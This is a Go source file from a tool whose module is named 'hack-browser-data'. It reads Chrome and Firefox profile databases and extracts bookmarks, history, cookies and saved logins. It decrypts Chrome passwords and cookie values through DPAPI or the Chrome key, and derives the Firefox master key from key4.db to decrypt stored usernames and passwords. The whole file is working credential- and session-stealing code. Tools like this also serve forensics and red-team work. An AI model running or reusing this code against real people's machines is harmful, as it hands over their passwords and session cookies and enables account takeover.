package core import ( "bytes" "database/sql" "encoding/base64" "encoding/hex" "hack-browser-data/log" "hack-browser-data/utils" "io/ioutil" "os" "time" _ "github.com/mattn/go-sqlite3" "github.com/tidwall/gjson" ) const ( bookmarkID = "id" bookmarkAdded = "date_added" bookmarkUrl = "url" bookmarkName = "name" bookmarkType = "type" bookmarkChildren = "children" ) var ( FullData = new(BrowserData) ) type ( BrowserData struct { LoginDataSlice BookmarkSlice CookieMap HistorySlice } LoginDataSlice []loginData BookmarkSlice []bookmarks CookieMap map[string][]cookies HistorySlice []history loginData struct { UserName string encryptPass []byte encryptUser []byte Password string LoginUrl string CreateDate time.Time } bookmarks struct { ID int64 Name string Type string URL string DateAdded time.Time } cookies struct { Host string Path string KeyName string encryptValue []byte Value string IsSecure bool IsHTTPOnly bool HasExpire bool IsPersistent bool CreateDate time.Time ExpireDate time.Time } history struct { Title string Url string VisitCount int LastVisitTime time.Time } ) func ParseResult(dbname string) { switch dbname { case utils.Bookmarks: parseBookmarks() case utils.History: parseHistory() case utils.Cookies: parseCookie() case utils.LoginData: parseLogin() case utils.FirefoxCookie: parseFirefoxCookie() case utils.FirefoxKey4DB: parseFirefoxKey4() case utils.FirefoxData: parseFirefoxData() } } var bookmarkList BookmarkSlice func parseBookmarks() { bookmarks, err := utils.ReadFile(utils.Bookmarks) defer func() { if err := os.Remove(utils.Bookmarks); err != nil { log.Error(err) } }() if err != nil { log.Debug(err) } r := gjson.Parse(bookmarks) if r.Exists() { roots := r.Get("roots") roots.ForEach(func(key, value gjson.Result) bool { getBookmarkChildren(value) return true }) } FullData.BookmarkSlice = bookmarkList } var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` func parseLogin() { var loginItemList LoginDataSlice login := loginData{} loginDB, err := sql.Open("sqlite3", utils.LoginData) defer func() { if err := os.Remove(utils.LoginData); err != nil { log.Error(err) } }() defer func() { if err := loginDB.Close(); err != nil { log.Debug(err) } }() if err != nil { log.Debug(err) } err = loginDB.Ping() rows, err := loginDB.Query(queryLogin) defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( url, username, password string pwd []byte create int64 ) err = rows.Scan(&url, &username, &pwd, &create) login = loginData{ UserName: username, encryptPass: pwd, LoginUrl: url, } if utils.VersionUnder80 { password, err = utils.DecryptStringWithDPAPI(pwd) } else { password, err = utils.DecryptChromePass(pwd) } if create > time.Now().Unix() { login.CreateDate = utils.TimeEpochFormat(create) } else { login.CreateDate = utils.TimeStampFormat(create) } login.Password = password if err != nil { log.Debug(err) } loginItemList = append(loginItemList, login) } FullData.LoginDataSlice = loginItemList } var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` func parseCookie() { cookie := cookies{} cookieMap := make(map[string][]cookies) cookieDB, err := sql.Open("sqlite3", utils.Cookies) defer func() { if err := os.Remove(utils.Cookies); err != nil { log.Error(err) } }() defer func() { if err := cookieDB.Close(); err != nil { log.Debug(err) } }() if err != nil { log.Debug(err) } err = cookieDB.Ping() rows, err := cookieDB.Query(queryCookie) defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( key, host, path, value string isSecure, isHTTPOnly, hasExpire, isPersistent int createDate, expireDate int64 encryptValue []byte ) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) cookie = cookies{ KeyName: key, Host: host, Path: path, encryptValue: encryptValue, IsSecure: utils.IntToBool(isSecure), IsHTTPOnly: utils.IntToBool(isHTTPOnly), HasExpire: utils.IntToBool(hasExpire), IsPersistent: utils.IntToBool(isPersistent), CreateDate: utils.TimeEpochFormat(createDate), ExpireDate: utils.TimeEpochFormat(expireDate), } // remove prefix 'v10' if utils.VersionUnder80 { value, err = utils.DecryptStringWithDPAPI(encryptValue) } else { value, err = utils.DecryptChromePass(encryptValue) } cookie.Value = value if _, ok := cookieMap[host]; ok { cookieMap[host] = append(cookieMap[host], cookie) } else { cookieMap[host] = []cookies{cookie} } } FullData.CookieMap = cookieMap } var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` func parseHistory() { var historyList HistorySlice h := history{} historyDB, err := sql.Open("sqlite3", utils.History) defer func() { if err := os.Remove(utils.History); err != nil { log.Error(err) } }() defer func() { if err := historyDB.Close(); err != nil { log.Debug(err) } }() if err != nil { log.Debug(err) } err = historyDB.Ping() rows, err := historyDB.Query(queryHistory) defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( url, title string visitCount int lastVisitTime int64 ) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) h = history{ Url: url, Title: title, VisitCount: visitCount, LastVisitTime: utils.TimeEpochFormat(lastVisitTime), } if err != nil { log.Debug(err) continue } historyList = append(historyList, h) } FullData.HistorySlice = historyList } func getBookmarkChildren(value gjson.Result) (children gjson.Result) { b := bookmarks{} b.ID = value.Get(bookmarkID).Int() nodeType := value.Get(bookmarkType) b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) b.URL = value.Get(bookmarkUrl).String() b.Name = value.Get(bookmarkName).String() children = value.Get(bookmarkChildren) if nodeType.Exists() { b.Type = nodeType.String() bookmarkList = append(bookmarkList, b) if children.Exists() && children.IsArray() { for _, v := range children.Array() { children = getBookmarkChildren(v) } } } return children } var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` // places.sqlite doc @https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Places/Database func parseFirefoxData() { var historyList HistorySlice var ( err error keyDB *sql.DB bookmarkRows, historyRows *sql.Rows tempMap map[int64]string bookmarkUrl string ) tempMap = make(map[int64]string) keyDB, err = sql.Open("sqlite3", utils.FirefoxData) defer func() { if err := os.Remove(utils.FirefoxData); err != nil { log.Error(err) } }() defer func() { err := keyDB.Close() if err != nil { log.Error(err) } }() if err != nil { log.Error(err) } historyRows, err = keyDB.Query(queryFirefoxHistory) if err != nil { log.Error(err) } defer func() { if err := historyRows.Close(); err != nil { log.Error(err) } }() for historyRows.Next() { var ( id, visitDate int64 url, title string visitCount int ) err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount) historyList = append(historyList, history{ Title: title, Url: url, VisitCount: visitCount, LastVisitTime: utils.TimeStampFormat(visitDate / 1000000), }) tempMap[id] = url } FullData.HistorySlice = historyList bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) defer func() { if err := bookmarkRows.Close(); err != nil { log.Error(err) } }() for bookmarkRows.Next() { var ( id, fk, bType, dateAdded int64 title string ) err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title) if url, ok := tempMap[id]; ok { bookmarkUrl = url } bookmarkList = append(bookmarkList, bookmarks{ ID: id, Name: title, Type: utils.BookMarkType(bType), URL: bookmarkUrl, DateAdded: utils.TimeStampFormat(dateAdded / 1000000), }) } FullData.BookmarkSlice = bookmarkList } var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` var queryNssPrivate = `SELECT a11, a102 from nssPrivate` func GetDecryptKey() (b [][]byte) { var ( err error keyDB *sql.DB pwdRows *sql.Rows nssRows *sql.Rows ) defer func() { if err := os.Remove(utils.FirefoxKey4DB); err != nil { log.Error(err) } }() keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB) defer func() { if err := keyDB.Close(); err != nil { log.Error(err) } }() if err != nil { log.Debug(err) } err = keyDB.Ping() pwdRows, err = keyDB.Query(queryPassword) defer func() { if err := pwdRows.Close(); err != nil { log.Debug(err) } }() for pwdRows.Next() { var ( item1, item2 []byte ) if err := pwdRows.Scan(&item1, &item2); err != nil { log.Error(err) continue } b = append(b, item1, item2) } if err != nil { log.Error(err) } nssRows, err = keyDB.Query(queryNssPrivate) defer func() { if err := nssRows.Close(); err != nil { log.Debug(err) } }() for nssRows.Next() { var ( a11, a102 []byte ) if err := nssRows.Scan(&a11, &a102); err != nil { log.Debug(err) } b = append(b, a11, a102) } return b } func parseFirefoxKey4() { h1 := GetDecryptKey() globalSalt := h1[0] metaBytes := h1[1] nssA11 := h1[2] nssA102 := h1[3] keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} meta, err := utils.DecodeMeta(metaBytes) if err != nil { log.Error("decrypt meta data failed", err) return } var masterPwd []byte m, err := utils.DecryptMeta(globalSalt, masterPwd, meta) if err != nil { log.Error("decrypt firefox failed", err) return } if bytes.Contains(m, []byte("password-check")) { log.Debugf("password-check success") m := bytes.Compare(nssA102, keyLin) if m == 0 { nss, err := utils.DecodeNss(nssA11) if err != nil { log.Error(err) return } log.Debugf("decrypt asn1 pbe success") finallyKey, err := utils.DecryptNss(globalSalt, masterPwd, nss) finallyKey = finallyKey[:24] if err != nil { log.Error(err) return } log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey)) allLogins := GetLoginData() for _, v := range allLogins { log.Debug(hex.EncodeToString(v.encryptUser)) user, _ := utils.DecodeLogin(v.encryptUser) log.Debug(hex.EncodeToString(v.encryptPass)) pwd, _ := utils.DecodeLogin(v.encryptPass) log.Debug(user, user.CipherText, user.Encrypted, user.Iv) u, err := utils.Des3Decrypt(finallyKey, user.Iv, user.Encrypted) if err != nil { log.Error(err) return } p, err := utils.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted) if err != nil { log.Error(err) return } FullData.LoginDataSlice = append(FullData.LoginDataSlice, loginData{ LoginUrl: v.LoginUrl, UserName: string(u), Password: string(p), CreateDate: v.CreateDate, }) } } } } var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` func parseFirefoxCookie() { cookie := cookies{} cookieMap := make(map[string][]cookies) cookieDB, err := sql.Open("sqlite3", utils.FirefoxCookie) defer func() { if err := os.Remove(utils.FirefoxCookie); err != nil { log.Debug(err) } }() defer func() { if err := cookieDB.Close(); err != nil { log.Debug(err) } }() if err != nil { log.Debug(err) } err = cookieDB.Ping() rows, err := cookieDB.Query(queryFirefoxCookie) defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( name, value, host, path string isSecure, isHttpOnly int creationTime, expiry int64 ) err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) cookie = cookies{ KeyName: name, Host: host, Path: path, IsSecure: utils.IntToBool(isSecure), IsHTTPOnly: utils.IntToBool(isHttpOnly), CreateDate: utils.TimeStampFormat(creationTime / 1000000), ExpireDate: utils.TimeStampFormat(expiry), } cookie.Value = value if _, ok := cookieMap[host]; ok { cookieMap[host] = append(cookieMap[host], cookie) } else { cookieMap[host] = []cookies{cookie} } } FullData.CookieMap = cookieMap } func GetLoginData() (l []loginData) { s, err := ioutil.ReadFile(utils.FirefoxLoginData) if err != nil { log.Warn(err) } defer func() { if err := os.Remove(utils.FirefoxLoginData); err != nil { log.Error(err) } }() h := gjson.GetBytes(s, "logins") if h.Exists() { for _, v := range h.Array() { var ( m loginData u []byte p []byte ) m.LoginUrl = v.Get("formSubmitURL").String() u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) m.encryptUser = u if err != nil { log.Debug(err) } p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) m.encryptPass = p m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000) l = append(l, m) } } return }